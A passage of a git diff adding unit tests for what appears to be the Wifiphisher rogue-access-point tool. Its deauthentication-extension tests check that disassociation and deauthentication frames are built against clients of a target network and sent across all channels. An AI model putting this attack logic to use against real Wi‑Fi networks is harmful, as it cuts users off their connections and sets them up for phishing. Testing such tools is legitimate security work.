self.assertEqual(result1[7].addr2, sender1, message1) + self.assertEqual(result1[7].addr3, self.target_bssid, message1) + + def test_get_packet_essid_flag_client_client_packet(self): + """ + Test get_packet method when --essid flag is given. A new + client is given as input and the proper packets and the + clients channel is expected + """ + + # setup the packet + sender = "22:22:22:22:22:22" + receiver = "11:11:11:11:11:11" + bssid = receiver + + self.packet.addr1 = receiver + self.packet.addr2 = sender + self.packet.addr3 = bssid + + # add the bssid to the deauth_bssid set + self.deauth_obj1._deauth_bssids[bssid] = self.target_channel + + # run the method + pkts_to_send = self.deauth_obj1.get_packet(self.packet) + result = pkts_to_send[self.target_channel] + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + self.assertEqual(self.target_channel in pkts_to_send, True, message0) + + # check the packets + + # check the disassociation packet + self.assertEqual(result[0].subtype, 10, message1) + self.assertEqual(result[0].addr1, sender, message1) + self.assertEqual(result[0].addr2, receiver, message1) + self.assertEqual(result[0].addr3, bssid, message1) + + # check the deauthentication packet + self.assertEqual(result[1].subtype, 12, message1) + self.assertEqual(result[1].addr1, sender, message1) + self.assertEqual(result[1].addr2, receiver, message1) + self.assertEqual(result[1].addr3, bssid, message1) + + # check the disassociation packet + self.assertEqual(result[2].subtype, 10, message1) + self.assertEqual(result[2].addr1, receiver, message1) + self.assertEqual(result[2].addr2, sender, message1) + self.assertEqual(result[2].addr3, bssid, message1) + + # check the deauthentication packet + self.assertEqual(result[3].subtype, 12, message1) + self.assertEqual(result[3].addr1, receiver, message1) + self.assertEqual(result[3].addr2, sender, message1) + self.assertEqual(result[3].addr3, bssid, message1) + + def test_get_packet_essid_flag_our_own_ap_empty_list(self): + """ + Test get_packet method when --essid flag is given. Our own + client is given as input. An empty list for both channel and + packets + """ + + # setup the packet + sender = "00:00:00:00:00:00" + receiver = self.rogue_mac + bssid = self.rogue_mac + + self.packet.addr1 = receiver + self.packet.addr2 = sender + self.packet.addr3 = bssid + + # run the method + result = self.deauth_obj1.get_packet(self.packet) + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + self.assertEqual(result[0], [], message0) + + # check the packets + # check the disassociation packet + self.assertEqual(result[1], [], message1) + + @mock.patch("wifiphisher.extensions.deauth.ord") + def test_get_packet_essid_flag_malformed0_channel_empty_list(self, mock_ord): + """ + Test get_packet method when --essid flag is given. This is the + case when a packet is malformed in the channel section. An empty + list for both channel and packets. This test the TypeError case + """ + + mock_ord.side_effect = TypeError + + # setup the packet + sender = "00:00:00:00:00:00" + receiver = "11:11:11:11:11:11" + bssid = "22:22:22:22:22:22:22" + + self.packet.addr1 = receiver + self.packet.addr2 = sender + self.packet.addr3 = bssid + + # run the method + result = self.deauth_obj1.get_packet(self.packet) + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + self.assertEqual(result[0], [], message0) + + # check the packets + # check the disassociation packet + self.assertEqual(result[1], [], message1) + + @mock.patch("wifiphisher.extensions.deauth.ord") + def test_get_packet_essid_flag_malformed1_channel_empty_list(self, mock_ord): + """ + Test get_packet method when --essid flag is given. This is the + case when a packet is malformed in the channel section. An empty + list for both channel and packets. This tests the IndexError case + """ + + mock_ord.side_effect = IndexError + + # setup the packet + sender = "00:00:00:00:00:00" + receiver = "11:11:11:11:11:11" + bssid = "22:22:22:22:22:22:22" + + self.packet.addr1 = receiver + self.packet.addr2 = sender + self.packet.addr3 = bssid + + # run the method + result = self.deauth_obj1.get_packet(self.packet) + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + self.assertEqual(result[0], [], message0) + + # check the packets + # check the disassociation packet + self.assertEqual(result[1], [], message1) + + @mock.patch("wifiphisher.extensions.deauth.ord") + def test_get_packet_essid_flag_malformed2_channel_empty_list(self, mock_ord): + """ + Test get_packet method when --essid flag is given. This is the + case when a packet is malformed in the channel section. In this case + the channel reported is out of range and an empty list for both + channel and packets + """ + + mock_ord.return_value = 200 + + # setup the packet + sender = "33:33:33:33:33:33" + receiver = "11:11:11:11:11:11" + bssid = "22:22:22:22:22:22:22" + + self.packet.addr1 = receiver + self.packet.addr2 = sender + self.packet.addr3 = bssid + + # run the method + result = self.deauth_obj1.get_packet(self.packet) + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + self.assertEqual(result[0], [], message0) + + # check the packets + # check the disassociation packet + self.assertEqual(result[1], [], message1) + + def test_add_client_invalid_sender_none(self): + """ + Test _add_client when the given sender is in the non_client_address. + The expected output is None + """ + + # setup the arguments + sender = constants.WIFI_INVALID + receiver = "11:11:11:11:11:11" + bssid = receiver + + # run the method + result = self.deauth_obj0._add_clients(sender, receiver, bssid) + + # check the result + self.assertIsNone(result) + + def test_add_client_invalid_receiver_none(self): + """ + Test _add_client when the given receiver is in the non_client_address. + The expected output is None + """ + + # setup the arguments + sender = "11:11:11:11:11:11" + receiver = constants.WIFI_INVALID + bssid = sender + + # run the method + result = self.deauth_obj0._add_clients(sender, receiver, bssid) + + # check the result + self.assertIsNone(result) + + def test_add_client_invalid_sender_receiver_none(self): + """ + Test _add_client when the given sender and receiver are in the + non_client_address. The expected output is None + """ + + # setup the arguments + sender = constants.WIFI_INVALID + receiver = constants.WIFI_INVALID + bssid = "22:22:22:22:22:22:22" + + # run the method + result = self.deauth_obj0._add_clients(sender, receiver, bssid) + + # check the result + self.assertIsNone(result) + + def test_add_client_irrelevent_sender_receiver_none(self): + """ + Test _add_client when neither sender nor receiver is the + BSSID. The expected output is None + """ + + # setup the arguments + sender = "11:11:11:11:11:11" + receiver = "33:33:33:33:33:33" + bssid = "22:22:22:22:22:22:22" + + # run the method + result = self.deauth_obj0._add_clients(sender, receiver, bssid) + + # check the result + self.assertIsNone(result) + + def test_add_client_receiver_is_bssid_packets(self): + """ + Test _add_client when the given receiver is the bssid. The + expected output is proper packets for both sender and receiver + """ + + # setup the packet + sender = "22:22:22:22:22:22" + receiver = "11:11:11:11:11:11" + bssid = receiver + + # run the method + result = self.deauth_obj1._add_clients(sender, receiver, bssid) + + message0 = "Failed to return the correct client" + message1 = "Failed to return an correct packets" + + # check the client + self.assertEqual(result[0], sender, message0) + + # check the packets + # check the disassociation packet + self.assertEqual(result[1][0].subtype, 10, message1) + self.assertEqual(result[1][0].addr1, sender, message1) + self.assertEqual(result[1][0].addr2, receiver, message1) + self.assertEqual(result[1][0].addr3, bssid, message1) + + # check the deauthentication packet + self.assertEqual(result[1][1].subtype, 12, message1) + self.assertEqual(result[1][1].addr1, sender, message1) + self.assertEqual(result[1][1].addr2, receiver, message1) + self.assertEqual(result[1][1].addr3, bssid, message1) + + # check the disassociation packet + self.assertEqual(result[1][2].subtype, 10, message1) + self.assertEqual(result[1][2].addr1, receiver, message1) + self.assertEqual(result[1][2].addr2, sender, message1) + self.assertEqual(result[1][2].addr3, bssid, message1) + + # check the deauthentication packet + self.assertEqual(result[1][3].subtype, 12, message1) + self.assertEqual(result[1][3].addr1, receiver, message1) + self.assertEqual(result[1][3].addr2, sender, message1) + self.assertEqual(result[1][3].addr3, bssid, message1) + + def test_add_client_sender_is_bssid_packets(self): + """ + Test _add_client when the given sender is the bssid. The + expected output is proper packets for both sender and receiver + """ + + # setup the packet + sender = "22:22:22:22:22:22" + receiver = "11:11:11:11:11:11" + bssid = sender + + # run the method + result = self.deauth_obj1._add_clients(sender, receiver, bssid) + + message0 = "Failed to return the correct client" + message1 = "Failed to return an correct packets" + + # check the client + self.assertEqual(result[0], receiver, message0) + + # check the packets + # check the disassociation packet + self.assertEqual(result[1][0].subtype, 10, message1) + self.assertEqual(result[1][0].addr1, sender, message1) + self.assertEqual(result[1][0].addr2, receiver, message1) + self.assertEqual(result[1][0].addr3, bssid, message1) + + # check the deauthentication packet + self.assertEqual(result[1][1].subtype, 12, message1) + self.assertEqual(result[1][1].addr1, sender, message1) + self.assertEqual(result[1][1].addr2, receiver, message1) + self.assertEqual(result[1][1].addr3, bssid, message1) + + # check the disassociation packet + self.assertEqual(result[1][2].subtype, 10, message1) + self.assertEqual(result[1][2].addr1, receiver, message1) + self.assertEqual(result[1][2].addr2, sender, message1) + self.assertEqual(result[1][2].addr3, bssid, message1) + + # check the deauthentication packet + self.assertEqual(result[1][3].subtype, 12, message1) + self.assertEqual(result[1][3].addr1, receiver, message1) + self.assertEqual(result[1][3].addr2, sender, message1) + self.assertEqual(result[1][3].addr3, bssid, message1) + + def test_send_output_no_client_proper(self): + """ + Test send_output method when no client has been detected. + The expected result is an empty message list + """ + + message = "Failed to send the proper output" + + self.assertEqual(self.deauth_obj1.send_output(), [], message) + + def test_send_output_single_client_proper(self): + """ + Test send_output method when a client has been already + detected. The expected result is the proper output + containing that client + """ + + # setup the packet + sender = "44:44:44:44:44:44" + receiver = "55:55:55:55:55:55" + bssid = receiver + + self.packet.addr1 = receiver + self.packet.addr2 = sender + self.packet.addr3 = bssid + + # run the method + self.deauth_obj1._deauth_bssids[bssid] = self.target_channel + self.deauth_obj1.get_packet(self.packet) + actual = self.deauth_obj1.send_output() + expected = "DEAUTH/DISAS - {}".format(sender) + + message = "Failed to send the proper output" + + self.assertEqual(expected, actual[0], message) + + def test_send_output_multiple_client_proper(self): + """ + Test send_output method when multiple client has been already + detected. The expected result is the proper output + containing that clients + """ + + # setup the packet + sender0 = "22:22:22:22:22:22" + receiver0 = "11:11:11:11:11:11" + bssid0 = receiver0 + + sender1 = "33:33:33:33:33:33" + receiver1 = "44:44:44:44:44:44" + bssid1 = sender1 + + self.packet.addr1 = receiver0 + self.packet.addr2 = sender0 + self.packet.addr3 = bssid0 + + # run the method + self.deauth_obj1._deauth_bssids[bssid0] = self.target_channel + self.deauth_obj1.get_packet(self.packet) + + # change the packet details + self.packet.addr1 = receiver1 + self.packet.addr2 = sender1 + self.packet.addr3 = bssid1 + + # run the method again + self.deauth_obj1._deauth_bssids[bssid1] = self.target_channel + self.deauth_obj1.get_packet(self.packet) + + actual = self.deauth_obj1.send_output() + expected0 = "DEAUTH/DISAS - {}".format(sender0) + expected1 = "DEAUTH/DISAS - {}".format(receiver1) + + self.assertIn(expected0, actual) + self.assertIn(expected1, actual) + + def test_send_channels_non_frenzy_target_channel(self): + """ + Test send_channels method when --essid is not given. The + expected result is the target AP's channel + """ + + actual = self.deauth_obj0.send_channels() + + message = "Failed to send target AP's channel" + + expected = [self.target_channel] + + self.assertEqual(expected, actual, message) + + def test_send_channels_frenzy_all_channels(self): + """ + Test send_channels method when --essid is given. The expected + result is all channels + """ + + actual = self.deauth_obj1.send_channels() + + message = "Failed to send all the channels" + + expected = [str(ch) for ch in range(1, 14)] + + self.assertEqual(expected, actual, message) + + def test_extract_bssid_to_ds_0_from_ds_1_addr2(self): + """ + Test _extract_bssid when to_ds is 1 and from_ds is 0. + The case should return packet.addr2 + """ + # bit0 is to_ds and bit1 is from_ds + self.packet.FCfield = 2 + self.packet.addr1 = "11:11:11:11:11:11" + self.packet.addr2 = "22:22:22:22:22:22" + self.packet.addr3 = "33:33:33:33:33:33" + + message = "Fail to get correct BSSID as address 2" + actual = self.deauth_obj0._extract_bssid(self.packet) + expected = self.packet.addr2 + + self.assertEqual(expected, actual, message) + + def test_extract_bssid_to_ds_1_from_ds_0_addr1(self): + """ + Test _extract_bssid when to_ds is 1 and from_ds is 0. + The case should return packet.addr2 + """ + # bit0 is to_ds and bit1 is from_ds + self.packet.FCfield = 1 + self.packet.addr1 = "11:11:11:11:11:11" + self.packet.addr2 = "22:22:22:22:22:22" + self.packet.addr3 = "33:33:33:33:33:33" + + message = "Fail to get correct BSSID as address 1" + actual = self.deauth_obj0._extract_bssid(self.packet) + expected = self.packet.addr1 + + self.assertEqual(expected, actual, message) + + def test_extract_bssid_to_ds_0_from_ds_0_addr3(self): + """ + Test _extract_bssid when to_ds is 0 and from_ds is 0. + The case should return packet.addr3 + """ + # bit0 is to_ds and bit1 is from_ds + self.packet.FCfield = 0 + self.packet.addr1 = "11:11:11:11:11:11" + self.packet.addr2 = "22:22:22:22:22:22" + self.packet.addr3 = "33:33:33:33:33:33" + + message = "Fail to get correct BSSID as address 3" + actual = self.deauth_obj0._extract_bssid(self.packet) + expected = self.packet.addr3 + + self.assertEqual(expected, actual, message) + + def test_get_packet_to_ds_1_from_ds_1_empty(self): + """ + Drop the WDS frame in get_packet + """ + + self.packet.FCfield = 3 + result = self.deauth_obj0.get_packet(self.packet) + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + self.assertEqual(result[0], [], message0) + + # check the packets + self.assertEqual(result[1], [], message1) + + def test_get_packet_address_malform_empty(self): + """ + Drop the frame if the address is malformed + """ + + packet = mock.Mock(spec=[]) + result = self.deauth_obj0.get_packet(packet) + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + self.assertEqual(result[0], [], message0) + + # check the packets + self.assertEqual(result[1], [], message1) + + def test_is_target_target_ap_bssid_true(self): + """ + Get the target attacking bssid for the speficic ESSID + when --essid is not used + """ + essid = dot11.Dot11Elt(ID='SSID', info="Evil") + packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon() / essid + packet.addr3 = "99:99:99:99:99:99" + self.deauth_obj0._data.args.deauth_essid = True + result = self.deauth_obj0._is_target(packet) + + expected = True + message = "Fail to check the attacking essid: " + self.target_essid + self.assertEqual(result, expected, message) + + def test_is_target_target_ap_bssid_None_true(self): + """ + Get the target attacking bssid for the speficic ESSID + when --essid is not used + """ + essid = dot11.Dot11Elt(ID='SSID', info="Evil") + packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon() / essid + packet.addr3 = "99:99:99:99:99:99" + self.deauth_obj1._data.args.deauth_essid = True + result = self.deauth_obj1._is_target(packet) + + expected = True + message = "Fail to check the attacking essid: " + self.target_essid + self.assertEqual(result, expected, message) + + def test_is_target_essid_non_decodable_error(self): + """ + Assign essid to a constant when it is utf-8 non-decodable + """ + essid = dot11.Dot11Elt(ID='SSID', info='\x99\x87\x33') + packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon() / essid + packet.addr3 = "99:99:99:99:99:99" + result = self.deauth_obj0._is_target(packet) + expected = False + message = 'Fail to raise the UnicodeDecodeError for non-printable essid' + self.assertEqual(result, expected, message) diff --git a/tests/test_extensions.py b/tests/test_extensions.py new file mode 100644 index 0000000..d654a87 --- /dev/null +++ b/tests/test_extensions.py @@ -0,0 +1,165 @@ +""" +Unit tests for Extension Manager +""" + +import sys +import os +import unittest +import mock +import shutil + +dir_of_executable = os.path.dirname(__file__) +path_to_project_root = os.path.abspath(os.path.join(dir_of_executable, '..')) +sys.path.insert(0, path_to_project_root) +os.chdir(path_to_project_root) + +import wifiphisher.common.interfaces as interfaces +import wifiphisher.common.extensions as extensions +import wifiphisher.common.constants as constants +import scapy.layers.dot11 as dot11 + +CONTENTS_EXTENSION_1 = """ +import os +import importlib +from collections import defaultdict +import struct + +class Extension1(object): + + def __init__(self, shared_data): + self.data = shared_data + self._packets_to_send = defaultdict(list) + + def get_packet(self, pkt): + self._packets_to_send["1"] = [self.data.one] + return self._packets_to_send + + def send_output(self): + return ["one", "two"] +""" + +CONTENTS_EXTENSION_2 = """ +import os +import importlib +from collections import defaultdict +import struct + +class Extension2(object): + + def __init__(self, shared_data): + self._packets_to_send = defaultdict(list) + + def get_packet(self, pkt): + self._packets_to_send["1"] = [2, 3, 4] + return self._packets_to_send + + def send_output(self): + return ["three", "four", "five"] +""" +# add extension for testing the channel ["*"] +CONTENTS_EXTENSION_3 = """ +import os +import importlib +from collections import defaultdict +import struct + +class Extension3(object): + + def __init__(self, shared_data): + self._packets_to_send = defaultdict(list) + + def get_packet(self, pkt): + self._packets_to_send["*"] = [5, 6, 7, 8] + return self._packets_to_send + + def send_output(self): + return [] +""" + + +class TestExtensionManager(unittest.TestCase): + + def setUp(self): + os.mkdir("tests/extensions") + with open("tests/extensions/__init__.py", "a") as f: + os.utime("tests/extensions/__init__.py", None) + f.close() + with open("tests/extensions/extension1.py", "w") as f: + f.write(CONTENTS_EXTENSION_1) + f.close() + with open("tests/extensions/extension2.py", "w") as f: + f.write(CONTENTS_EXTENSION_2) + f.close() + with open("tests/extensions/extension3.py", "w") as f: + f.write(CONTENTS_EXTENSION_3) + f.close() + + @mock.patch("wifiphisher.common.constants.DEFAULT_EXTENSIONS", + ["extension1"]) + @mock.patch( + "wifiphisher.common.constants.EXTENSIONS_LOADPATH", + "tests.extensions.") + def test_single_extension(self): + # We need a NM to init EM + nm = interfaces.NetworkManager() + # Init an EM and pass some shared data + em = extensions.ExtensionManager(nm) + em.set_extensions(constants.DEFAULT_EXTENSIONS) + shared_data = {"one": 1, "two": 2, "is_freq_hop_allowed": True} + em.init_extensions(shared_data) + # A deauth packet appears in the air + packet = ( + dot11.RadioTap() / + dot11.Dot11( + type=0, + subtype=12, + addr1="00:00:00:00:00:00", + addr2="00:00:00:00:00:00", + addr3="00:00:00:00:00:00") / + dot11.Dot11Deauth()) + em._process_packet(packet) + # The extension1.py sent packet "1" and returned output + # "one", "two". Validate with get_packet(), send_output() + assert em._packets_to_send["1"] == [1] + assert em._packets_to_send["2"] == [] + assert em.get_output() == ["one", "two"] + + @mock.patch( + "wifiphisher.common.constants.DEFAULT_EXTENSIONS", [ + "extension1", "extension2", "extension3"]) + @mock.patch( + "wifiphisher.common.constants.EXTENSIONS_LOADPATH", + "tests.extensions.") + def test_multiple_extensions(self): + # We need a NM to init EM + nm = interfaces.NetworkManager() + # Init an EM and pass some shared data + em = extensions.ExtensionManager(nm) + em.set_extensions(constants.DEFAULT_EXTENSIONS) + shared_data = {"one": 1, "two": 2, "is_freq_hop_allowed": True} + em.init_extensions(shared_data) + # A deauth packet appears in the air + packet = ( + dot11.RadioTap() / + dot11.Dot11( + type=0, + subtype=12, + addr1="00:00:00:00:00:00", + addr2="00:00:00:00:00:00", + addr3="00:00:00:00:00:00") / + dot11.Dot11Deauth()) + em._process_packet(packet) + # Packets to send have been merged from the two extensions + # Validate with get_packet() + assert em._packets_to_send["1"] == [1, 2, 3, 4] + assert em._packets_to_send["*"] == [5, 6, 7, 8] + # Output has also been merged in one list. + # Validate with send_output() + assert em.get_output() == ["one", "two", "three", "four", "five"] + + def tearDown(self): + shutil.rmtree("tests/extensions") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_interfaces.py b/tests/test_interfaces.py index 47b5cf8..e2416ef 100644 --- a/tests/test_interfaces.py +++ b/tests/test_interfaces.py @@ -1,8 +1,15 @@ -""" This module tests all the functions in the phishingpage module. """ +# pylint: skip-file +""" This module tests the interface module """ import unittest import mock -import wifiphisher.interfaces as interfaces +import wifiphisher.common.interfaces as interfaces +import wifiphisher.common.constants as constants +import pyric +import dbus +import pytest + +pytestmark = pytest.mark.skip('Skipping for now.') class TestNetworkAdapter(unittest.TestCase): @@ -12,43 +19,349 @@ class TestNetworkAdapter(unittest.TestCase): """ Set up the tests """ self.adapter_name = "wlan0" - self.obj = interfaces.NetworkAdapter(self.adapter_name) + self.card = "CARD" + self.mac_address = "00:00:00:00:00:00" + self.adapter = interfaces.NetworkAdapter(self.adapter_name, self.card, self.mac_address) - def test_get_name(self): - """ Test get_name method """ + def test_name_value(self): + """ Test the name of the interface """ message = "Failed to get correct adapter name!" - self.assertEqual(self.obj.get_name(), self.adapter_name, message) + self.assertEqual(self.adapter.name, self.adapter_name, message) + + def test_is_managed_by_nm_false(self): + """ + Test is_managed_by_nm variable when adapter is not managed by NetworkManager + """ + + message = "Failed to get False for adaptor is not managed by NetworkManager" + self.assertFalse(self.adapter.has_ap_mode, message) + + def test_is_managed_by_nm_true(self): + """ + Test is_managed_by_nm variable when adapter is managed by NetworkManager + """ + + self.adapter.is_managed_by_nm = True + message = "Fail to get True when adapter is managed by NetworkManager" + self.assertTrue(self.adapter.is_managed_by_nm, message) + + def test_is_managed_by_nm_set_invalid_value_error(self): + """ + Test setting is_managed_by_nm variable with invalid value + """ + + with self.assertRaises(interfaces.InvalidValueError): + self.adapter.is_managed_by_nm = "Invalid Value" def test_has_ap_mode_false(self): - """ Test has_ap_mode method with no AP mode """ + """ + Test has_ap_mode variable when no AP mode support is available + """ message = "Failed to get False for adapter with no AP support!" - self.assertFalse(self.obj.has_ap_mode(), message) + self.assertFalse(self.adapter.has_ap_mode, message) def test_has_ap_mode_true(self): - """ Test has_ap_mode method with AP mode available """ + """ + Test has_ap_mode variable when AP mode support is available + """ # set AP support to available - self.obj.set_ap_support(True) + self.adapter.has_ap_mode = True message = "Failed to get True for adapter with AP support!" - self.assertTrue(self.obj.has_ap_mode(), message) + self.assertTrue(self.adapter.has_ap_mode, message) + + def test_has_ap_mode_set_invalid_value_error(self): + """ + Test setting has_ap_mode variable with invalid value + """ + + with self.assertRaises(interfaces.InvalidValueError): + self.adapter.has_ap_mode = "Invalid Value" def test_has_monitor_mode_false(self): - """ Test has_monitor_mode method with no monitor mode support """ + """ + Test has_monitor_mode variable when no monitor mode support + is available + """ message = "Failed to get False for adapter with no monitor support!" - self.assertFalse(self.obj.has_monitor_mode(), message) + self.assertFalse(self.adapter.has_monitor_mode, message) def test_has_monitor_mode_true(self): - """ Test has_monitor_mode method with monitor mode available """ + """ + Test has_monitor_mode variable when monitor mode support is available + """ # set monitor support to available - self.obj.set_monitor_support(True) + self.adapter.has_monitor_mode = True message = "Failed to get True for adapter with monitor support!" - self.assertTrue(self.obj.has_monitor_mode(), message) + self.assertTrue(self.adapter.has_monitor_mode, message) + + def test_has_monitor_mode_set_invalid_value_error(self): + """ + Test setting has_monitor_mode variable with invalid value + """ + + with self.assertRaises(interfaces.InvalidValueError): + self.adapter.has_monitor_mode = "Invalid Value" + + def test_card_value(self): + """ + Test card variable to get the pyric.Card object + """ + + message = "Failed to get the card object" + self.assertEqual(self.card, self.adapter.card, message) + + def test_original_mac_address(self): + """ + Test original_mac_address variable to make sure it is properly + set + """ + + message = "Failed to get the original MAC address" + self.assertEqual(self.adapter.original_mac_address, self.mac_address, message) + + def test_mac_address_original(self): + """ + Test mac_address variable before a second address is specified + """ + + message = "Failed to get the current MAC address before modification" + self.assertEqual(self.adapter.mac_address, self.mac_address, message) + + def test_mac_address_modified(self): + """ + Test mac_address variable after a second address is specified + """ + + new_mac_address = "11:11:11:11:11:11" + self.adapter.mac_address = new_mac_address + + message = "Failed to get the current MAC address after modification" + self.assertEqual(self.adapter.mac_address, new_mac_address, message) + + +class TestIsManagedByNetworkManager(unittest.TestCase): + """ Test is_managed_by_network_manager function """ + + def setUp(self): + """ Setup the proxy and objects""" + + # setup proxies + self.network_manager_proxy = "NetworkManagerProxy" + self.device_proxy_0 = "DeviceProxy_0" + self.device_proxy_1 = "DeviceProxy_1" + + # setup network_manager object + self.network_manager = mock.MagicMock() + self.network_manager.GetDevices.return_value = ['wlan0', 'wlan1'] + # setup for test enable_enable_network_manager + # Get returns the attribute of NetworkingEnabled + self.network_manager.Get.return_value = True + self.network_manager.Enable.return_value = None + + # setup device_0 object + self.interface_0 = 'wlan0' + self.device_0 = mock.MagicMock() + self.device_0.Interface = self.interface_0 + self.device_0.Managed = True + + # setup device_1 object + self.interface_1 = 'wlan1' + self.device_1 = mock.MagicMock() + self.device_1.Interface = self.interface_1 + self.device_1.Managed = False + + self.bus = mock.MagicMock() + self.bus.get_object.side_effect = self.get_object() + + def get_interface(self): + """ + Simulate dbus.Interface + """ + + def interface_side_effect(proxy, dbus_interface=None): + if proxy == self.network_manager_proxy: + return self.network_manager + elif proxy == self.device_proxy_0: + self.device_0.Get.side_effect = self.get_device_property( + self.device_0) + return self.device_0 + elif proxy == self.device_proxy_1: + self.device_1.Get.side_effect = self.get_device_property( + self.device_1) + return self.device_1 + + return interface_side_effect + + def get_device_property(self, device_obj): + """ + Simulate the device.Get method to get the property of + the device object + """ + def device_side_effect(object_path, device_property): + if device_obj == self.device_0: + if device_property == 'Interface': + return self.interface_0 + elif device_property == 'Managed': + return self.device_0.Managed + elif device_obj == self.device_1: + if device_property == 'Interface': + return self.interface_1 + elif device_property == 'Managed': + return self.device_1.Managed + + return device_side_effect + + def get_object(self): + """ + Simulate the get_object method to get the proxy object + """ + + def bus_side_effect(proxy_object, obj_path): + if obj_path == constants.NM_MANAGER_OBJ_PATH: + return self.network_manager_proxy + elif obj_path == self.interface_0: + return self.device_proxy_0 + elif obj_path == self.interface_1: + return self.device_proxy_1 + + return bus_side_effect + + @mock.patch('dbus.Interface') + @mock.patch('dbus.SystemBus') + def test_is_managed_by_networkmanager_is_managed_true( + self, fake_bus, fake_interface): + """ + Test is_managed_by_networkmanager with the interface + managed by NetworkManager + """ + + fake_bus.return_value = self.bus + fake_interface.side_effect = self.get_interface() + is_managed = interfaces.is_managed_by_network_manager(self.interface_0) + + message = "the managed property should be true" + self.assertTrue(is_managed, message) + + @mock.patch('dbus.Interface') + @mock.patch('dbus.SystemBus') + def test_is_managed_by_networkmanager_is_managed_false( + self, fake_bus, fake_interface): + """ + Test is_managed_by_networkmanager with the interface + is not managed by NetworkManager + """ + + fake_bus.return_value = self.bus + fake_interface.side_effect = self.get_interface() + is_managed = interfaces.is_managed_by_network_manager(self.interface_1) + + message = "the managed property should be true" + self.assertFalse(is_managed, message) + + @mock.patch("wifiphisher.common.interfaces.dbus") + def test_is_managed_by_network_manager_unexpected_error_error(self, my_dbus): + """ + Test is_managed_by_network_manager function when an + unexpected error happens and checks to see if the + error is raised + """ + + my_dbus.Interface.side_effect = KeyError + + with self.assertRaises(KeyError): + interfaces.is_managed_by_network_manager("wlan0") + + @mock.patch('dbus.Interface') + @mock.patch('dbus.SystemBus') + def test_is_managed_by_networkmanager_is_managed_false( + self, fake_bus, fake_interface): + """ + Test is_managed_by_network_manager when dbus service is + not running. It should raise dbus.exceptions.DbusException + and we should just return False under this case. + """ + + fake_bus.return_value = self.bus + fake_interface.side_effect = dbus.exceptions.DBusException + is_managed = interfaces.is_managed_by_network_manager(self.interface_1) + + message = "the managed property should be false" + self.assertFalse(is_managed, message) + + +class TestInterfacePropertyDetector(unittest.TestCase): + """ Test interface_property_detector function""" + + def setUp(self): + """ Set up the tests """ + + # setup fake card + card = "Card" + mac_address = "00:00:00:00:00:00" + self.adapter = interfaces.NetworkAdapter("wlan0", card, mac_address) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_interface_property_detector_has_monitor_mode(self, pyric): + """ + Test interface_property_detector function when the interface + has monitor mode support + """ + + pyric.devmodes.return_value = ["monitor"] + + interfaces.interface_property_detector(self.adapter) + + message = "Failed to get monitor mode support when interface has support" + self.assertTrue(self.adapter.has_monitor_mode, message) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_interface_property_detector_no_monitor_mode(self, pyric): + """ + Test interface_property_detector function when the interface + doesn't have monitor mode support + """ + + pyric.devmodes.return_value = [] + + interfaces.interface_property_detector(self.adapter) + + message = "Shows interface has monitor mode when it does not" + self.assertFalse(self.adapter.has_monitor_mode, message) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_interface_property_detector_has_ap_mode(self, pyric): + """ + Test interface_property_detector function when the interface + has AP mode support + """ + + pyric.devmodes.return_value = ["AP"] + + interfaces.interface_property_detector(self.adapter) + + message = "Failed to get AP mode support when interface has support" + self.assertTrue(self.adapter.has_ap_mode, message) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_interface_property_detector_no_ap_mode(self, pyric): + """ + Test interface_property_detector function when the interface + doesn't have AP mode support + """ + + pyric.devmodes.return_value = [] + + interfaces.interface_property_detector(self.adapter) + + message = "Shows interface has AP mode when it does not" + self.assertFalse(self.adapter.has_ap_mode, message) class TestNetworkManager(unittest.TestCase): @@ -59,488 +372,1007 @@ class TestNetworkManager(unittest.TestCase): Set up the tests """ - self.network_manager = interfaces.NetworkManager(None, None) + self.network_manager = interfaces.NetworkManager() + self.mac_address = "00:00:00:00:00:00" - @mock.patch("wifiphisher.interfaces.pyric") - def test_check_compatibility_no_ap_no_monitor(self, mock_pyric): + def test_internet_access_enable_error(self): """ - Test _check_compatibility method while the interface has no AP support - nor monitor support + Test internet_access_enable by passing invalid arguement """ - # set the return value - mock_pyric.getcard.return_value = None - mock_pyric.devmodes.return_value = [] - mock_pyric.winterfaces.return_value = ["wlan0"] + network_manager = interfaces.NetworkManager() + with self.assertRaises(interfaces.InvalidValueError): + network_manager.internet_access_enable = 'invalid' - # create a interface - interface = interfaces.NetworkAdapter("wlan0") + def test_is_interface_valid_mode_internet_true(self): + """ + Test is_interface_valid when it is ethernet card thus + the card is not found in self._name_to_object + """ + interface_name = 'eth0' + actual = self.network_manager.is_interface_valid(interface_name, mode="internet") + message = "Failed to validate a valid interface " + interface_name + + self.assertTrue(actual, message) + + def test_is_interface_valid_valid_true(self): + """ Tests is_interface_valid method when interface is valid """ - # call the method - self.network_manager._check_compatibility(interface) + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) - # check that values are correct - self.assertFalse(interface.has_ap_mode()) - self.assertFalse(interface.has_monitor_mode()) + self.network_manager._name_to_object[interface_name] = adapter - @mock.patch("wifiphisher.interfaces.pyric") - def test_check_compatibility_has_ap_no_monitor(self, mock_pyric): + actual = self.network_manager.is_interface_valid(interface_name) + + message = "Failed to validate a valid interface" + self.assertTrue(actual, message) + + def test_is_interface_valid_invalid_interface_error(self): """ - Test _check_compatibility method while the interface has AP support - but no monitor support + Test is_interface_valid method when interface is already been chosen """ - # create a interface - interface = interfaces.NetworkAdapter("wlan0") + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + # mimic the card has been chosen + self.network_manager._active.add(interface_name) + + with 